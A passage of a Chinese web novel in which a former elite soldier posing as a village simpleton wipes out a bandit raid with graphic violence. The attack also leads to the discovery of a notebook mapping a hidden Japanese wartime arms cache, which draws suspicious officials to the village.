半空中,一只戴着皮手套的大手从暗处伸出来,一把攥住了那颗正冒着青烟的铁疙瘩!
杨林松从墙角探出半个身子,脑袋上还顶着一撮白雪。
他冲着那个扔雷的土匪咧开嘴,笑得那叫一个天真无邪。
“哎呀!叔,你的铁蛋蛋掉啦!我还给你!”
话音还没落,他手腕子一发力。
手榴弹原路飞了回去,速度比来的时候快了一倍不止!
“轰!”
一声巨响震彻夜空,残肢断臂伴着黑雪炸上了天。
村口掩体后头。
周铁山听见这声爆炸,又听见那句熟悉的“铁蛋蛋”。
他愣了一秒后,紧绷的后脊梁骨一下子松懈下来。
这他妈叫傻子?
老子才是那个大傻子吧!
周铁山在心里狂骂一句,底气也足了,扯着嗓门大吼:
“兄弟们!咱们的援军到了!给老子狠狠地打!”
第105章 傻子单刷土匪窝
爆炸过后,土匪的攻势暂时歇了。
更瘆人的事儿来了。
分散在村里各处,准备翻墙进院杀人放火的土匪,莫名其妙没了动静。
黑灯瞎火里,有一双看不见的黑手,在无声无息地收割人命。
一个土匪刚摸到一棵老槐树底下。
脖子一紧,整个人被一根从天而降的麻绳吊了起来,两条腿在半空中瞎扑腾。
另一个土匪正准备踹开一扇木门。
一支木箭扎穿了他的喉管,将他死死钉在门框上,血水顺着门板往下淌。
原本嚣张的喊杀声,变成了呼救声。
“老五?老五你死哪去了?”
“别他妈吓我!吱个声啊!”
“鬼……有鬼啊!这村里闹鬼!”
猎人和猎物的身份,彻底掉了调。
独眼龙捂着半边脸,浑身汗毛都竖了起来,闻到了死亡的味儿。
他带来的十二个前锋,加上后头跟进的二十多号人。
现在还能喘气的,连一半都不到了!
“撤!往西边撤!”
独眼龙嘶哑着嗓子吼,带着身边仅剩的四个心腹,连滚带爬地想从村西头突围。
他们刚一头扎进一条屋后小道,脚步猛地刹住了。
往前十米远的地方,静静戳着一道高大的白影。
杨林松背对着他们,手里漫不经心地转着那把带血的三棱刺。
刀尖上的血珠子滴在雪地上,砸出一个个刺眼的血点子。
“干死他!”
独眼龙举起驳壳枪就搂火。
“砰砰砰!”
枪声响起,杨林松动了。
他非但没躲,反而迎着枪口撞了上去。
左脚在土墙上用力一蹬,身子借力腾空。
避开子弹的一刹那,人已经贴到了跟前。
近身肉搏。
前世兵王的一招制敌,对上这帮土匪的王八拳,那就是纯纯的老子打儿子。
杨林松连军刺都懒得用。
他左手飞快地扣住最前头那个土匪的手腕子,发力往下一折。
“咔嚓”一声脆响,骨头茬子都撅出来了。
顺势一记凶狠的顶肘,结结实实砸在对方喉结上。
土匪喉骨碎裂,连哼都没哼一声就倒了。
杨林松借力一转身,右腿挂着风扫出去,踢中第二个土匪的膝盖窝。
那人惨叫一声跪在地上。
杨林松双手抱住他的脑袋,用力一错。
“咔嚓。”
颈椎骨折断,脑袋软绵绵地耷拉到了胸口。
第三个土匪吓得刀都扔了,转头就想跑。
杨林松一步跨过去,从背后勒住他的脖颈子,膝盖顶住他的后腰眼,往后一使劲儿。
脊椎断裂声听得真真切切。
十秒钟。
三具尸体。
干净利落,连半个多余的动作都没有。
独眼龙和最后那个土匪瞅着这一幕,两条腿不受控制地直打摆子。
这他妈根本不是人!这就是个活阎王!
“跑!快跑啊!”
那个土匪崩溃了,扔了手里的破枪,连滚带爬地往胡同外头逃命。
其他方向活着的土匪也听见了这声惨叫。
他们哪还顾得上什么当家的,扔了家伙什,撒丫子就跑,脑子里就剩下一个念头:
赶紧离开这个邪门的村子!
杨林松站在死人堆里,眼神冷得吓人,根本没去追那些丧家之犬。
他收起军刺,从背后摘下紫杉木大弓。
搭箭,拉弦。
一百二十磅的硬弓,被他硬是拉成了满月。
对付这种逃跑的杂碎,无声的冷箭比枪子儿更要命。
“崩!”
弓弦一震。
跑在最前头的那个土匪,后心窝爆开一团血花,一头扎进雪地里。
“崩!”
又是一声。
另一个想翻墙逃跑的土匪,被一箭钉在土墙头上,身子挂在那儿不停晃荡。
这是阎王爷无声的点名。
每一声弓弦响,都得带走一条人命。
这种连敌人在哪都摸不清的屠杀,让剩下的土匪吓破了胆,只恨爹妈少生了两条腿。
独眼龙成了彻头彻尾的光杆司令。
他绝望地退到村口一辆破牛车后头,大口喘着粗气。
手里死死攥着最后一颗手榴弹,手指头扣在引信上。
他就盼着那个穿白衣服的活阎王靠近,好拉个垫背的一起死。
脚步声在雪地上响了起来。
咯吱,咯吱。
每一步,都踩在独眼龙狂跳的心尖上。
“出来吧,躲猫猫不好玩。”
一个憨傻的声音冷不丁从牛车顶上传来。
独眼龙浑身一哆嗦,猛地抬起头。
杨林松不知道啥时候已经站在了牛车顶上,居高临下瞅着他。
那张脸上挂着傻笑。
但在独眼龙眼里,这笑脸比地狱里恶鬼还要吓人。
“老子跟你拼了!”
独眼龙嘶吼一声,拉开引信,举起手榴弹就要朝杨林松砸过去。
可他惊恐地发现,牛车顶上早就空了。
下一秒,一支冷箭从侧面黑影里射了出
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来。
“噗!”
木箭扎穿了独眼龙举着手榴弹的手腕。
力道带着他的胳膊往后一甩,手榴弹脱了手,掉在了他自己的脚边。
“嘶呲——”
引信冒烟。
他瞅着脚边的手榴弹,独眼里全是绝望。
“轰!”
火光冲天。
独眼龙被气浪掀飞,重重撞在土墙上,又软绵绵滚了下来。
他浑身焦黑,两条腿被炸得血肉模糊。
风雪还在刮着。
杨林松从暗处走出来,伸出手指在匪首鼻子下面一放,没了鼻息。
他冷笑一声,开始打扫战场,架势熟练。
走到被抹脖子的尸体旁,他用脚尖挑散了雪地上规整的脚印。
拔回钉在墙上和死人身上的木箭。
又把军刺在干净的雪窝子里反复插入拔出,直到闻不着血腥味儿。
干完这些,他麻利地解开大衣扣子。
把反穿的白色内衬翻回来,裹紧了深灰色的毛呢面。
脖子一缩,肩膀一塌。
眼神里的杀气散了个干净,换上了一副吓破胆的窝囊样。
“大军车叔叔!吓死我啦!”
杨林松抱着脑袋,跌跌撞撞地朝村口跑过去。
一边跑,一边扯着嗓门干号:
“大炮仗把坏人都炸飞啦!好多血!我要找大伯娘!”
------
村口。
周铁山带着民兵,端着枪,小心地往前摸。
等他们举着火把,看清村里的惨状时,所有人齐刷刷倒吸了一口凉气,头皮一阵阵发麻。
满地的土匪尸体。
有被炸碎的,有被拧断脖子的,还有胸口留着血窟窿的。
这群杀人不眨眼的悍匪,这会儿正横七竖八躺在雪地里。
从土匪进村到全军覆没,整个战斗过程快得让人不敢相信。
周铁山瞅着被炸得面目全非的独眼龙。
又抬头看向一脸惊魂未定的杨林松。
杨林松跑到周铁山跟前,一把抱住他的胳膊,浑身发抖:
“叔,有鬼……大炮仗自己会飞……”
周铁山眼角狂跳。
他盯着杨林松那张傻脸,又瞅了一眼满地利落的杀戮痕迹。
他心里头跟明镜一样清楚。
这他妈哪是什么傻人有傻福,这杨家村里,分明藏着一尊惹不起的活杀神!
但他啥也没点破。
周铁山吐出一口白气,用力拍了拍杨林松的肩膀,声音直打战:
“没事了,林松。坏人……被雷劈了。”
第106章 知青媳妇帮我打掩护
周铁山眉头皱在一起。
这一仗打得太顺,顺得他后脊梁骨直冒凉气。
正当他琢磨着那两个消失的人影时,知青点方向的雪窝子里,突然钻出两个脑袋。
老刘头狗皮帽子上顶着一坨雪,手里提着把沾血的铁匠锤,深一脚浅一脚地走了过来。
跟在他后头的阿三,面色煞白,两条腿抖得很有节奏。
“哎呀妈呀,周部长!”
老刘头离老远就咧开嘴。
“可算是找着组织了!刚才在那边井边上,碰着个漏网的兔崽子,想去知青点摸鱼,让我老刘一锤子给砸晕了,顺手给补了一刀。嘿,这手艺没生疏!”
周铁山瞥了一眼他手里的铁锤,锤头上确实沾着点新鲜血丝和几根头发。
“阿三呢?”
周铁山看向后面那个吓得快尿裤子的货。
阿三打了个哆嗦,硬是挺直了腰杆,可声音还在半空中飘:
“报……报告领导!杨兄弟把……把沈知青托付给我,说那是他媳妇……不是,是他朋友。我……我就算死,也得守在门口,不能让胡子进去糟蹋人!”
周铁山听了,眉头稍微松了松。
这阿三看着怂,但这股子义气劲儿,倒是个地道的东北爷们。
至于老刘头,这老东西平时比泥鳅还要滑,但关键时刻没掉链子,也算条汉子。
“行了,归队!”周铁山一挥手,“天亮了,干活!”
天色渐渐破晓,晨光洒在雪地上。
战场的惨状没了夜色的掩盖,血淋淋地摆在了所有人面前。
“哇呕!”
几个民兵刚看清地上的光景,胃里一阵翻滚,扶着土墙狂吐不止。
太惨了。
这根本不是战斗,这是屠宰。
村西头的背屋小道上,三个土匪横七竖八躺在那儿。
一个喉结碎成了渣,脖子缩进腔子里。
一个脑袋转了一百八十度,脸朝后背,死不瞑目。
还有一个胸口塌陷,明显是被重物砸碎了肋骨。
最瘆人的还是那个独眼龙。
整个人被炸得残缺不全,身子焦黑,肠子流了一地,这会儿已经冻得硬邦邦,死死粘在了雪地上。
周铁山蹲在一具墙根下的尸体前。
咽喉被贯穿,一个通透的血窟窿,是箭伤。
这力道,这准头……
“是个顶尖高手。”
周铁山眯起眼睛。
这种杀人手法,干净利落,压根没半点多余动作,全是奔着要害去的。
这得是在死人堆里滚过多少回,才能练出这身本事?
“吱呀……”
各家各户的门纷纷被推开了。
胆大的汉子探出头,手里还攥着菜刀和粪叉子。
等他们看清外头,一个个眼珠子瞪得溜圆,下巴都快掉地上了。
“我的娘咧……这……这都是昨晚进村的土匪?”
“死了?全死绝了?”
越来越多的村民走了出来。
原本以为昨晚是灭顶之灾,谁成想,土匪的尸体堆成了小山。
恐惧过后,就是劫后余生的狂喜,紧接着又是深深的后怕。
大家伙儿围着那些尸体指指点点,都在猜昨晚到底是哪路神仙显灵,救了全村老小的命。
村子笼罩在又惊惧又解气的古怪气氛里。
就在这时,杨家大院那扇厚重的木门,“吱嘎”一声开了。
张桂兰缩着脖子,探头探脑地走了出来。
她的脸上写满惊恐,可那双眼睛却滴溜溜乱转,那是刻在骨子里的爱看热闹。
身后跟着杨金贵,一只手被张桂兰攥着,另一只手里捏着烟袋锅子,一脸的不情愿。
“当家的,你快瞅瞅,外头咋没动静了?”
张桂兰硬是把他往外拖。
两人刚转过墙角。
“哎哟妈呀!”
张桂兰脚底下踩着了个软乎东西,低头一看,一只断手正孤零零地躺在雪窝子里,手指头还呈抓握状,指甲缝里全是泥。
“嗷!”
这一嗓子,惨过杀猪叫。
张桂兰吓得原地蹦起,老脸煞白。
杨金贵手一抖,烟袋锅子掉在地上,摔成了两截。
“鬼叫什么!”周铁山不耐烦地吼了一句。
张桂兰捂着胸口,大口喘气,刚想骂街,眼神一飘,定住了。
不远处的牛车旁,蹲着个人。
杨林松。
他身上那件大衣敞着怀,手里拿着一根枯树枝,正蹲在独眼龙的尸体旁边。
“嘿嘿……红糖水……滋滋冒泡……”
杨林松一边傻笑,一边用树枝戳弄着独眼龙那只瞎眼的眼眶。
树枝搅动,发出咕叽咕叽的声音。
杨林松抬起脸时,张桂兰正好对上。
那张脸上挂着天真无邪的笑,手里却抓着一根沾满红白之物的树枝,正冲着她挥舞:
“大伯娘!你看!好多红糖浆糊!你要不要吃一口?”
张桂兰胃里一阵翻涌。
她脑子里突然蹦出昨晚
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窗外那声惨叫,想起那个被吊死在树上的土匪,再看着眼前这个满手鲜血的侄子。
这哪里是傻子?分明是吃人的杀神!
“啊……啊……”
张桂兰喉咙里发出嘶哑声,两眼一翻,身子直挺挺往后倒去。
“老婆子!”
杨金贵吓得赶紧去扶,结果脚下一滑,两人滚作一团。
周铁山没理会这对活宝,大步走到杨林松身后。
那个独眼龙是被炸死的,虽然满脸焦黑,但还是可以清楚地看出,他少了一只耳朵。
周铁山死死盯着杨林松的后脑勺。
“林松。”
他突然喊了一声。
杨林松身子一僵,立马回过头。
不慌不乱,只有一脸兴奋。
“大军车叔叔!”
杨林松举着那根带血的树枝,直接往周铁山身上扑。
“你看!红红的!给你抹红红!过年啦!”
那根树枝眼看着就要戳到周铁山的军衣上。
周铁山下意识后退半步,眼里的疑虑还没散透。
就在这时,一只白皙纤细的手伸了过来,一把抓住了杨林松的手腕。
“林松!别闹!”
沈雨溪不知什么时候走了过来。
她脸虽苍白,眼神却很镇定。
她掏出一块白手帕,一点点擦掉杨林松手上的血污,语气温和:
“那是死人,不能玩,细菌沾了要生病的。”
“嘿嘿……媳妇说埋汰,那就是埋汰。”
杨林松立马扔了树枝,任由沈雨溪擦手,还把脑袋往她肩膀上蹭。
旁边,老刘头适时插了一嘴,一脸嫌弃:
“周部长,您可别高看这傻小子了。昨晚一打起来,这货吓得尿了一裤子,一直缩在牛车底下哆嗦,连头都不敢露。要不是沈知青护着,早让流弹给崩了。”
周铁山看了一眼杨林松的裤裆,确实是结着一层冰碴子。
那是他昨晚故意在雪窝子里滚出来的。
再看他那副痴傻样,眼神清澈愚蠢,除了吃就是玩,哪有半点杀伐果断的影子?
周铁山彻底打消了疑虑,叹了口气。
也是,自己真是魔怔了。
一个脑子烧坏了的傻子,怎能在黑夜里神不知鬼不觉地收割人命?
傻人有傻福,这小子命是真硬。
“行了,别擦了。”
周铁山摆摆手,目光转向老刘头和阿三,眼神里多了几分盘算。
“看来咱这村里,还是藏龙卧虎啊。”
第107章 花口撸子换糖吃
听了周铁山这话。
老刘头嘿嘿干笑两声,既没承认也没否认,把还沾着血丝的铁锤往肩上一扛,拿足了世外高人的做派。
这当口,民兵们已经开始搜刮土匪身上的财物了。
“都给老子搜干净了!一根线头也别留!”
杨林松也没闲着。他一屁股坐在独眼龙的尸首旁,伸手在那血糊糊的怀里掏。
“哇!亮晶晶的石头!”
杨林松掏出一块金灿灿的怀表,表盖上还镶着碎钻。
紧接着,又摸出一沓沾血的大团结,少说也有大几百块。
最后,他摸到了一个硬邦邦的铁疙瘩。
一把精致的手枪。
勃朗宁M1910,俗称“花口撸子”。
这可是稀罕物件,旧社会那是身份的象征,可比大黑星难得多了。
周围的民兵眼睛都看直了。这傻小子命也忒好了吧!这一把摸出来的东西,都够普通人家宽宽裕裕吃喝半辈子了!
就在大伙儿以为这傻子要把东西全揣进自己裤兜的时候。
“呸!啥破烂玩意儿!”
杨林松撇着嘴,一脸嫌弃地把那块金表往地上一扔,又拿着那把勃朗宁当锤子,在冻土上敲得邦邦响。
“硬邦邦的,又不能当饭吃!还没有大黄面子窝窝头香呢!”
他拍拍屁股站起身,把那一沓钱、金表,还有那把让无数人眼馋的花口撸子,全塞进了周铁山怀里。
“大军车叔叔!都给你!这些破烂我不要!”
杨林松伸出脏兮兮的大手,理直气壮地嚷嚷,
“我要换糖块吃!我要吃大白兔奶糖!还要吃甜水黄桃罐头!”
周铁山捧着这一堆价值连城的“破烂”,整个人都僵住了。
这可是金表!这可是花口撸子!
换作任何一个正常人,哪怕偷偷昧下一件,也够花销好些年了。
可这傻小子,居然全上交了?就为了一口吃的?
周铁山心里最后的疑虑,这下也烟消云散了。
这要不是脑子真缺根弦的傻子,那就只能是活菩萨了!
杨林松瞅着周铁山那感动的眼神,心里暗暗松了口气。
周铁山这人眼睛里揉不得沙子,这帮民兵早晚得把搜缴上来的战利品充公,倒不如自己借坡下驴主动交出去,既立了人设,又免了猜忌。
“好!好小子!”
周铁山眼眶一热,把东西交给身边的阿明,拍了拍杨林松的肩膀。
“林松,你这次算是剿匪立了大功!这批东西得充公,但我周铁山用党性担保,回去就向公社给你打报告申请奖励!还要给你发大红奖状!”
“奖励?有糖块吃不?”杨林松拍着手,原地转圈。
“有!大白兔奶糖,管够!”周铁山难得地大笑出声。
就在这气氛稍微缓和的时候,一道尖锐的嗓音刺破了风雪。
“凭啥光给他一个傻子发奖励!我家大柱也有功!”
刚缓过劲儿来的张桂兰,一听奖励两字,那股子贪婪劲儿就把恐惧给压了下去。
她一骨碌从雪地上爬起来,指着周铁山嚷嚷:
“要不是我家大柱拼了命报信给你们,你们能知道胡子要进村吗?这剿匪的功劳,怎么着也得有我家大柱的一半!”
周围的村民发出一阵嘘声。
“拉倒吧张桂兰!你家大柱那是吓得尿了裤裆,站都站不起来了!”
“可不咋的,你们老杨家这一屋子,哪个是有骨气的?刚才也不知道是谁瞅见死人差点吓撅过去。”
张桂兰脸皮厚,压根不管旁人咋编排。
“我不管!我家大柱昨个可是被那个留话的胡子给吓破了胆!那枪子儿是擦着头皮飞过去的!差一丁点就开了瓢!现在人还在炕上躺着,吓得直打摆子呢!”
“公社要是不发奖励,也得拔点压惊的钱和买麦乳精补身子的钱!要不然,我就去公社告你们欺负烈士家属!”
周铁山脸一黑,刚要发作。
“娘……你别嚎了……”
人群外头,杨大柱缩着脖子、气喘吁吁地挤了进来。
他面色还有些白,但手脚利索,哪有半点瘫在炕上动弹不得的样儿?
张桂兰一瞅见自家傻儿子这个时候冒头,气得直拍大腿:
“你个没出息的瘪犊子!在家里躺着装死不会啊?跑出来嘚瑟啥!这下好了,要钱没戏了!”
杨大柱顾不上理他娘,径直跑到周铁山面前,浑身直哆嗦。
“周……周部长,我、我有重要情况要汇报!”
杨大柱咽了口唾沫,眼里满是惊恐。
“昨天……昨天我被吓懵了,有一句顶要紧的话,我给忘说了……”
周铁山眉头一皱:“啥话?”
杨大柱哆哆嗦嗦道:“那个胡子……他开枪崩飞我狗皮帽子的时候,让我给大队带句话。他说……他说……”
全场安静下来,所有人都盯着杨大柱。
“他说,天黑之前,必须交出地图!不然……就不光是杀几个人立威的事了,他们要让整个杨家村鸡犬不留!”
轰!
这话一出,简直就是在人群里扔了个炸药包。
周铁山脸色骤变。
地图?
啥地图?
这帮亡命之徒费这么大劲,甚至不惜在十里坡设下调虎离山的毒计,压根就不是为了抢粮,也不是单纯为了报复。
他们的目标,是一张地图!
杨林松站在一旁,依旧傻笑着掰弄自己的手指头。
但他低垂的眼帘下,寒光一闪而过。
地图。
日军地下工事图还是被盯上了。
不过,从昨晚土匪进村后,压根没集中兵力去摸知青点来看,黄五爷的人目前还
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不清楚图纸到底在谁手里。
必须得赶快想个法子,让沈雨溪把手里那张催命的图纸处理掉。
周铁山黑着脸,眼珠子通红,一把薅住杨大柱的衣领子怒吼:
“到底啥地图?给老子一字不落吐干净!”
杨大柱吓得鼻涕泡都冒了出来,扯着嗓子叫道:
“我是真不知道啊!周部长!那胡子……他压根没提那是啥图啊!”
瞅着杨大柱这尿性,周铁山心里门儿清,就是借这瘪犊子十个胆,他也不敢在这节骨眼上扯谎。
他松了手,目光凶狠地从村民脸上挨个扫过。
“都听真切了?这帮胡子要的是图!”
周铁山扯着嗓门,“谁手里捏着来历不明的图纸?现在立马站出来,老子就是豁出这条命,也保你全家平安!”
“可谁要是敢在这时候为了点私心藏着掖着,等那帮杀神再摸进村,大伙儿全得跟着一块儿吃枪子儿!”
村民们大眼瞪小眼,原本就冻得发青的脸,这会儿更是煞白一片。
人群炸了锅,一个个缩脖子摆手。
“周部长,俺们冤枉啊!”一个老汉哆嗦着开口,“咱们这帮刨土坷垃的泥腿子,连大字都不识一箩筐,家里除了糊墙的旧报纸,哪见过啥地图啊!”
“可不咋的!这帮胡子肯定是摸错门了!找错主了!”
就在这乱成一锅粥的当口,张桂兰的眼珠子滴溜溜一转。
这老婆子满脑子想的都是咋把自家摘干净。
眼风一扫,死死盯着杨林松身旁的沈雨溪。
张桂兰一蹦三尺高,直冲到沈雨溪跟前,手指头快要戳到她的鼻尖上,这屎盆子扣得那叫一个快:
“是她!准是这帮城里来的知青惹的祸!”
唰的一下,全场目光全钉在了沈雨溪身上。
张桂兰见状,越发来了精神,继续煽风点火:
“大伙儿用脚指头想想,咱们村祖祖辈辈土里刨食,谁懂啥洋玩意儿地图?就这沈知青,仗着读了几天书,天天抱着些看不懂的厚本子翻,成天神神叨叨的!”
“外头的胡子不找别人,准是冲着她手里的东西来的!她就是个专门给咱们村引灾的扫把星!”
人一旦被吓破了胆,啥理智都没了。特别是这年代的乡下,社员本就对这些带着清高劲儿的城里知青存着几分防备。
村民们本就六神无主,被张桂兰这几句话一扇呼,顿时找着了发泄口。
“对!保不齐就是知青点里藏了猫腻!”
“搜她的身!可不能让个外人把咱们全大队几百口子给坑死咯!”
村里几个平时就爱偷鸡摸狗的二流子,借着这由头往前凑,眼底透着凶光。
更有那贪生怕死的懦夫扯着嗓门喊:“把她绑了!交给胡子换太平!拿她一个,换咱们全村老少爷们活命!”
第108章 极品大伯娘吃猪粪
眼瞅着就要乱套,几十号人红着眼,吵吵嚷嚷着就要上去拿人。
阿三吓得腿肚子直转筋,但还是咬着牙,抄起了一把铁扳手。
老刘头冷哼一声,手里铁锤往地上一顿,砸碎一块冻土坷垃。他可不管啥乡里乡亲,谁敢动杨爷护着的人,他就敢砸碎谁的天灵盖。
就在这火星子快崩到柴火垛上的当口。
“轰!”
人群后方传出一声闷响。
杨林松缩着脖子,膀子一沉,整个人跟头乍了毛的野猪似的,撞了过去。
他冲得贼猛,腰胯猛一拧,结结实实给了张桂兰一个胯骨轴子。
“哎哟我的亲娘咧!”
张桂兰这百十来斤的体格原地拔葱,在半空手舞足蹈地划拉了两下,“吧唧”一声,脸朝下,扑进了旁边半人高的猪粪堆里。
听着张桂兰在粪坑里扑腾冒泡,杨林松连眼皮都没夹一下,张开两条长胳膊,挡在沈雨溪身前。
“不许欺负我媳妇!”
杨林松扯着嗓子,发出一阵傻嚎,“坏人!你们这群大坏蛋!”
他一边嚎,一边瞎比画:
“媳妇的本子上画的是大黑熊的家!才不是啥破地图!大黑熊老大了,爪子这么长,一巴掌能把你们脑袋拍个稀碎!咬死你们!”
这几句没头没脑的疯话,落在村民耳朵里,只当是杨家这傻子又犯了浑。
可这话砸在周铁山耳朵里,心里却咯噔一下。
大黑熊的家?
周铁山可是当年在这片黑土地上,跟小鬼子摸爬滚打过的老兵!
早年抗联在老林子里钻山沟,就曾截获过一份绝密情报。关东军败退前,确实在这大兴安岭的深山腹地里,掏了个地下大王八壳子!
周铁山猛一回头,两道目光锁死在沈雨溪身上。
他一眼就瞅出不对劲,沈雨溪脸色煞白,但眼神却异常镇定。特别是杨林松嚷嚷出那句话时,她的手下意识捂住了胸口装东西的内兜。
这丫头手里真有货!
“都给老子把腚眼子夹紧闭嘴!”周铁山拔出腰间的驳壳枪,枪口朝天,毫不犹豫扣下扳机。
“砰!”
枪响震碎了晨雾。
刚还跳脚的村民们吓得脖子一缩,哗啦啦蹲倒一大片。
周铁山的枪还在冒烟,人已两步跨到沈雨溪跟前,语气板上钉钉:
“沈知青,事关全大队几百条人命。你跟我去大队部,咱俩必须单独唠唠。”
沈雨溪没犹豫,只是深深看了一眼还在冲大伙儿扮鬼脸的杨林松,利索地点了点头:
“成。”
------
红星大队部。
木门被周铁山反手插上门栓,屋里火墙早凉透了。
周铁山在板凳上坐下,盯着对面的沈雨溪,压着嗓子开门见山:
“刚才林松嚷嚷的大黑熊的家,是不是跟胡子逼要的图纸有关?沈知青,我看过你的成分档案,你爹是兵工厂的技术骨干。今儿这事儿牵扯全村几百口子人命,你必须给我交实底!”
沈雨溪后脊梁骨发紧。
她心里门儿清,刚才林松那一撞一喊,压根不是犯浑,这是借着装傻做局,把这能要命的烫手山芋顺理成章地递给公社武装部。
她不再隐瞒,伸手探进棉袄内兜,摸出一本黑皮笔记本,递了过去。
“周副部长,胡子兴师动众,要的压根不是咱们大队的粮食,更不是钱。”沈雨溪道。
周铁山一把接过,赶紧打开。
纸页泛黄发脆,里头密密麻麻画满了等高线、经纬度坐标,还有坑道结构图,批注的全是兵工数据。
“这是我爹留下的心血。”
沈雨溪指着其中一页,“这就是当年关东军败退前,在老林子腹地挖的一个绝密军火库。”
“也就是村民嘴里,黑瞎子岭的熊神洞。”
熊神洞!
周铁山的手猛地一抖,差点没把本子掉地上。
“我爹耗了半辈子测算,才补全了这处坐标和防线图。”
沈雨溪紧盯周铁山的眼睛,一字一顿,
“黄五爷不知从哪儿闻着了腥味。他们要抢的,是里头足足能武装一个满编营的重家伙!”
“三八大盖、九二式重机枪、迫击炮,还有成堆的烈性炸药。”
“这批装备一旦落到土匪手里,别说咱们公社,整个县城都得被掀了盖子!”
听到这些,周铁山只觉得
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尾巴骨往上直窜凉风。
所有的疑点,这会儿算是严丝合缝全扣上了!
死在公社卫生院的老毛子特务、十里坡的伏击、胡子不惜调虎离山也要摸进杨家村……
这压根就不是啥秋后打草谷,这是一场蓄谋已久的夺械暴动!
黄五爷的线人折了,彻底抓了瞎,这是急了眼,要拿杨家村百十口子的命来逼图纸!
周铁山死死捏着本子,骨节攥得卡巴直响。
“这要命的事儿……王大炮知道底细不?”
沈雨溪点点头。
“妈了个巴子的!这捅破天的大事,他王大炮居然敢给老子私自兜着!”
周铁山一巴掌拍在木桌上,震得上面的瓷茶缸子直蹦跶。
他猛站起身,将笔记本揣进胸前口袋,把领口的风纪扣系得死死的。
他一把拽开大门,冲着门外吼了一嗓子:“阿明!给老子滚过来!”
阿明提着枪小跑过来:“部长,有啥指示?”
“立刻去敲响晒谷场的大钟!把民兵连仓库里带响的家伙什全搬出来,分发下去!沿村打起防御工事,连只飞过界的老鸹都得给老子打下来!”
周铁山语速很快,眼里冒着凶光。
“你亲自带两个枪法准的弟兄,开我的吉普车,马上去公社卫生院!把王大炮的病房给我看死了!除了主治大夫,谁敢靠近半步,直接开火!天塌下来,也得给老子护住他的命!”
阿明被这杀气一激,后脊背绷得溜直,吼道:“是!”
“记着!”周铁山一把揪住阿明的领子,压低声音咬牙切齿道,“关于图纸和后山的事,谁要是敢在村里瞎白活,走漏半个字,老子亲手扒了他的皮!听明白没有!”
“明白!”阿明大吼,转身飞奔离去。
周铁山目光一转,落在了风雪交加的院子里。
杨林松正撅着腚,团起个大雪球往嘴里塞,冻得直打摆子,惹得旁边的老刘头翻着白眼直叹气。
周铁山收回目光,用力吸满了一腔子冷风。
不管这傻小子是真傻还是装傻,今儿个这局,算是彻底把大兴安岭的天给捅破了。
这往后的仗,可就得拿命去填了!
第109章 杀机已至,枪指女知青
大队部里。
周铁山抄起摇把子电话机,猛摇了几圈,力气大得恨不得把电话机拆了。
“接公社武装部!快!”
电话一接通,他对着电话就大喊:
“我是周铁山!红星大队昨夜遭了悍匪!我方击毙三十余人!这帮胡子是冲着后山日军军火库来的!”
“现在情况十万火急!赶紧派车,送十箱56式步枪弹和手榴弹过来!再给我调两个排的基干民兵增援!快!”
没等那边废话,他直接扣下听筒,又发狠地摇起电话。
“再接公社!快!”
电话接通,他压低了火气,但嗓子眼里还是透着焦灼:
“我是周铁山!红星大队昨晚和胡子干了一仗,打赢了!但胡子是奔着后山来的!村里现在缺粮缺药,需要支援!请马上调拨物资!”
砰!
周铁山重重扣下听筒,面色铁青。他眼瞅着这天儿,知道黄五爷的人绝不会善罢甘休。
“当,当,当。”
晒谷场上的大钟被敲响了。
几十号汉子被紧急召集,空气里全是肃杀味。
阿明已从公社卫生院回来。
刚从民兵连仓库抬出的几个木箱子放在场地上,他用撬棍一别,撕开里头的防潮油纸,子弹露了出来。
“一人一个基数!动作麻利点!子弹上膛,保险先给我关死!”周铁山厉声大吼。
民兵们排着队,哆哆嗦嗦地抓起子弹往弹仓里压。
很多人的手抖得厉害,子弹掉进雪窝里,又慌忙捡起来在裤腿上蹭干净。
杨林松裹着毛呢大衣,蹲在晒谷场角落的土垛子旁。
他手里捏着个雪球,嘴里嘟囔着:“一个球……两个球……打雪仗咯……”
可那双眼睛却借着余光,挨个扫过这些民兵。
这些人指节攥得发青,持枪的架势一看就虚。
杨林松心里门儿清。
真要是硬茬子摸进来,一排子弹过去,这帮雏儿没能跑掉一半就算祖上积德。
这就是纯纯的活靶子。
------
“轰——轰轰!”
雪雾深处,突然传来了汽车引擎的咆哮。
三辆没挂牌照的黑色吉普,撞碎了村口的木拒马,一路扎进了晒谷场。
刹车声刺耳,冰碴子飞溅,几个离得近的民兵被糊了一脸。
车门被踹开。
十几个穿着军大衣、头戴栽绒帽的壮汉从三辆车上下来。
这帮人一下车就四散开来,踩住了周围的火力死角,那是拿人命喂出来的战场本能。
带头的男人四十出头,大背头梳得锃亮,眼神里透着一股子阴狠。
他叫马志坚。
马志坚大步走到周铁山跟前,连半个官腔都没打,直接从怀里掏出一张盖着印章的纸,拍在周铁山胸口。
“省革委会紧急公函!”
马志坚鼻孔朝天,狂得没边。
“红星大队私自处理涉密重案,导致线索中断。周铁山,你被停职了!指挥权、人马、枪支、证物,统统由我接管!”
周铁山心里一沉,盯着那枚印章。
这帮人来得太巧了,公函上连个正式案由都没有,这不明摆着拿王八肚子糊弄人吗?
正僵持着,人群后头传来一声难听的破锣嗓子。
“哎哟喂!省里的大领导啊!您可算是来救命了!”
张桂兰浑身散发着猪粪堆的恶臭,披头散发地钻了出来。她刚才被周铁山落了面子,这会儿瞅见个官儿更大的,眼睛里全是绿光。
“领导!我要举报!村里藏了特务,就是沈雨溪那个狐狸精,还有那个傻子杨林松!那帮胡子就是他们招来的!”
张桂兰张开沾满猪粪的爪子,直挺挺朝马志坚扑过去,唾沫星子乱飞。
马志坚厌恶地皱了皱眉,看都没看这泼妇一眼,扬起戴着黑皮套的手,“啪”的就是一记大耳刮子。
“聒噪。”
张桂兰连叫都没叫出一声,身子在半空转了半圈,又一次结结实实摔在旁边的猪圈里。
木栅栏咔嚓断了两根。
张桂兰嘴歪眼斜,两眼一翻直接晕了过去。
这一幕把在场村民吓得不轻,齐刷刷倒退两步。
马志坚嫌恶地在衣摆上蹭了蹭皮手套,冷冷盯着周铁山,一挥手。
“下他的枪!”
几个壮汉立马扑过去。
“你敢!”周铁山怒吼,右手刚摸向腰间枪套。
两名壮汉手里的冲锋枪一抬,枪口已经顶在了周铁山的胸口。
“拿来吧你。”手枪被强行抽走。
与此同时,另外两个壮汉掀开人群,大步奔向沈雨溪。
